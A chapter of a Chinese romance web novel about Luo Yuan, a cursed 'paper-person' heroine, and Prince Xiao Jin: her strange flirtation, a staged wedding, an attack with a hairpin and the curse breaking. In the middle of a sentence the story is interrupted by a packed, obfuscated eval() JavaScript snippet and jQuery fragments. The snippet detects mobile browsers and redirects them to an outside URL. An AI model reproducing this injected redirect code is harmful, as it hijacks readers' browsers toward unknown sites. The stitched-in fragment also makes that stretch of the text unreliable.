天刚蒙蒙亮,洛鸢端着一碗亲手熬制的鸡汤朝萧烬大帐走去,惹得士兵纷纷驻足观看。
乌桑大声呵斥众人后,随即慢慢走近洛鸢,嘴唇翕张几下,满脸抱歉道:“王妃,昨日不知着了什么道,竟没认出是你,冒犯了。”
残灯扛着长枪过来,习惯性白洛鸢一眼:“王妃,您与殿下赌气偷偷跑掉也就算了。但无论如何,也不能跑去做那些见不得台面的土匪山贼勾当不是?真丢我家殿下的颜面。”
铁勺真人捧着一个酒葫芦,双眼迷离惺忪,摇摇晃晃走过来,冲洛鸢挑眉端详半晌,低声道:“妖女。”随即又醉醺醺地走开。
一夜之间,命运之手好似随意拨弄了一下,所有人又能记起洛鸢了。但洛鸢,却还依旧被系统随意摆弄着,傻不自知地做着书里的一个纸片人。
洛鸢察觉到乌桑对她还算客气,于是报以微笑:“这位将军,我真不是什么王妃。不过,大概很快就是了,嘻嘻。”
她朝他挤了挤眼,然后走入军帐,冲面前的人大喊:“殿下,别看了,快尝尝我熬的鸡汤。”
萧烬从一堆兵书中抬起头,见到眼前人时,乍然想起昨晚洛鸢竟然偷偷爬上他的床,白嫩的双手攀在他脖间,正当他脸红心跳准备投降时,洛鸢突然轻轻喊了另外一个名字。
萧烬只记得当时羞恼极了。洛鸢假装不记得他也就罢了,居然还敢这样羞辱他。他不明白,她竟怨恨他至此吗?
萧烬神情冷冰冰的:“放那儿吧,本王有空会喝。”
洛鸢却像没听见似的,端着鸡汤朝他走来,然后径直坐到他大腿上,用汤匙轻轻舀了一勺,软声道:“殿下,喝一些嘛,可好喝了,这可是我特意早起为你熬的。”
萧烬下意识将头一扭,眼尾有些红:“洛鸢,你能别这样吗?你若还怨恨我,我们大可开诚布公地谈一谈,但能不能别这样折磨羞辱我?”
“我真的受不了。”
洛鸢假装天真地摇了摇头:“殿下在说什么,我怎么听不懂呢。人家明明在讨好你呀,若我真做了你的王妃,那以后就不必领着我的兄弟们辛辛苦苦玩命了。你说是吧,殿下?求殿下垂怜呀。”
她笑,笑得令人浑身不自在。
萧烬拧了拧眉:“你先出去吧,我还有事要忙。”
洛鸢搂着他的脖子,一点点朝他的脸贴过来。萧烬被她撩得心跳乱飞,双手死死攥住椅座,慢慢闭紧双眼,努力调整呼吸。
“洛小姐,请你自重。”
以前,萧烬极力想得到洛鸢的回应,但每次都落了空。如今,终于等到洛鸢对他热情的一面时,萧烬却又实在无法接受。
她哪哪都不对。除了长相没变,性格、气质,说话的语气......哪哪都变了。
只有那个人偶,暗示着她确实是她。
萧烬不知洛鸢身上发生了什么,只是觉得很不爽、很生气、很难受。昨夜他辗转反侧一晚,还是认为洛鸢之所以这样,是为了故意报复他之前对她的不信任。
既然如此,他不介意陪她玩一玩。
洛鸢用手指轻轻拨弄萧烬的脸:“殿下,我不美吗?你睁眼看看我呗。你明明昨日还‘阿鸢’、‘阿鸢’叫得亲昵,今日为何突然翻脸不认人了?哎呀,你好坏——”
“洛鸢!”萧烬忍无可忍,“你立即、马上帮本王捶腿、捏肩、按摩,以及喂鸡汤......不着急,一样一样来。”
洛鸢怔愣了会儿,片刻后,她的眼神变了变。
......
“报——”属下进来报告,“殿下,黑/帮派里几个当家的来了。”
很快,帐内进来几名大汉,见到洛鸢坐在萧烬怀里,正在一勺一勺往他口中送汤水时,纷纷吓了一大跳。
“老大,你这是......什么造型啊?”
“老大你真有本事,可文可武......小弟们佩服,嘿嘿~”
“老大,你平安无事真是太好了,只是......你俩这是......”
洛鸢无奈地敛了敛眉,厉声呵斥:“闭眼!谁让你们看的?我们小两口的事,关你们屁事!”
萧烬:“......”
小弟们:“......”
洛鸢再次抬眼,疑惑:“你们怎么来了?我昨日不是暗示你们不要轻举妄动吗?”
小弟们吓得不敢吱声,齐齐望向萧烬。
“是本王命人请他们来的,打算商议一下安置他们的事。”萧烬起身走到洛鸢身边,“昨日本王答应你的。这么快就忘了,夫人?”
夫人......小弟们更加不解:“老大,这到底什么情况?”
洛鸢冷咳几嗓:“你们先回去。这几日我住在军营。”
小弟们面面相觑,全都一脸懵逼。
“耳聋了吗,还不快滚——”萧烬沉下脸,冷冷发话。
等大帐内再次剩下两人,萧烬将洛鸢送到嘴边的汤匙嫌弃地拨开,道:“你打算何时将手枪的制作图纸画出来?”
“手枪?”洛鸢拧眉,“好难听的名字。我那个叫火鸟。”
“好,那便叫火鸟。你打算何时将图纸画给我。”萧烬尽量保持面色平静。
洛鸢敛眉一笑:“不急。等你娶了我,再画不迟。”
萧烬笑得隐晦:“成亲是吧?可以啊。明日你我便成亲。”
萧烬不明白洛鸢到底在瞎闹什么,但他依旧命令下属即刻布置婚房和婚礼所需的一系列物品。
残灯抱着一捆大红灯笼,气呼呼地经过萧烬的军帐。他原本就不喜欢洛鸢,如今更是气殿下为何时时处处都纵着那个蛮横无礼的女子。
她到底哪里好了?
乌桑却一点不顾及自己如今的身份,带领下属亲自上手布置。
他屡立战功,早已擢升成了将军,如今在军中是说一不二的人物。自萧烬来军营后,两人的关系变得愈发亲厚,乌桑早已暗暗立誓,要誓死追随宏德王夫妇。
洛鸢躺在椅子上晒太阳,她这几日时不时便要头疼几下,弄得她很是烦躁。这会儿,头又疼了,眼前觉得晕晕的,阳光打在她脸上,她也丝毫不觉得温暖。
此时,在遥远的天际,好似有一股无形的力量,慢慢地、慢慢地将云彩拧成一团,这些云彩挤在一处,折射出古怪的、七彩的光晕。
这些光波弹射下来,迅速滚过洛鸢的身体,她大脑空白片刻,浑身愣了愣,随即眼神再次一变。
......
军营内喜气一片。
洛鸢身着大红婚服,头戴轻薄红绸,在两名仆妇的牵引下,一步步朝萧烬走去。
萧烬站在前方定定盯着她,内心有些感慨。第一次婚礼的情形仍历历在目,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238101|187941||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那时他是个被困深宫的无助废人,是洛鸢的到来打破了他沉闷绝望的处境。她热情大胆的性子好像一把火,将萧烬的不堪和困顿燃得一干二净。
而此刻,洛鸢蒙着头,双手温顺地交叉,看起来像个乖巧的小女孩。虽自诩是黑/帮派的老大,但却浑身透出一股娴静温柔的气质。
萧烬目不转睛望着她,略略有些感慨。此番成婚虽是做做样子,但萧烬却极为看重,捧着一颗忐忑的心静静站在原地等候。
见洛鸢越走越近,他唇角不由自主噙起笑意。
洛鸢的头又开始疼了。
像是突然之间接收到什么信号,洛鸢身子骤然紧绷,眼神瞬间凌厉,她冷不防拔下头上的发簪,直插萧烬修长的脖颈......
萧烬迅速闪躲,但脖间仍被戳出一个浅浅的伤口。
一滴血溅出来,落入洛鸢的眼睛。
空中的流云以一种极快的速度滚动,厚厚的云层中,好像闪出一道若有似无的红色光束,随之光波一弹,世界好像再次被一种诡异的滤镜扭曲了一下。
等所有人清醒过来时,只看到洛鸢躺在地上昏迷着,萧烬正捂着脖颈上的伤口,眼神呆滞。
众人面面相觑,都忘记了之前曾发生过什么。
“大胆妖女,竟敢谋害殿下,赶快将她绑起来!”铁勺真人大喊。
萧烬突然从怔愣中缓过神,声音冷肃几分:“将她押入水牢,听候发落。”
洛鸢刚被人从地上拖起来走了几步,萧烬便听到一声弱弱的呼喊,随之愣住。
“萧烬......”
他不会认错,这是洛鸢的声音,语气、音调、称呼......这是属于真正洛鸢的声音。
“放开她!”他急迫大吼。
士兵一脸懵地将洛鸢放回地上,她痛苦地来回扭动身体,再次低喃了句:“这是哪......我渴......”
“快去给王妃端水!”萧烬一边大喊,一边激动地跑到她身边,一把将她搂在怀里。
“阿鸢、阿鸢,是你吗?是你对不对?”他声音急促,隐隐带着颤音。
洛鸢翻翻眼皮剜他一眼,随即背过脸去,沉默。片刻后,沙哑道:“萧烬,你怎么阴魂不散老是缠着我?能不能滚远点......”
是她,没错了!
萧烬激动地飚出眼泪。
......
洛鸢与系统交换条件后的“纸片人诅咒”居然被提前打破了。
当初诅咒应验时,是为了换萧烬一条命。如今,他的血滴入她眼睛,破了这个局!
洛鸢从被命运随意摆弄的纸片人生涯中彻底苏醒后,只感觉浑身疲惫不堪,比徒手搬运了一座大山还要累。
她睡了整整三天三夜才醒。
萧烬坐在她床边守着,三天三夜没合过眼。
洛鸢醒来,见萧烬伏在她身上,迷迷糊糊地浅睡,内心情绪很是复杂。庆幸的是,她作为纸片人的记忆还在,至少可以捋清楚这段日子的来龙去脉,不至于像个傻子一样迷茫。
萧烬对她是真心的,这是她历经种种后终于笃定的事。洛鸢哪怕再傻、再不愿承认、再装糊涂,此刻,也不得不面对这个现实了。
因为,她决定正视对萧烬的感情。
洛鸢拉起萧烬的手,停顿片刻后,狠狠咬了一口。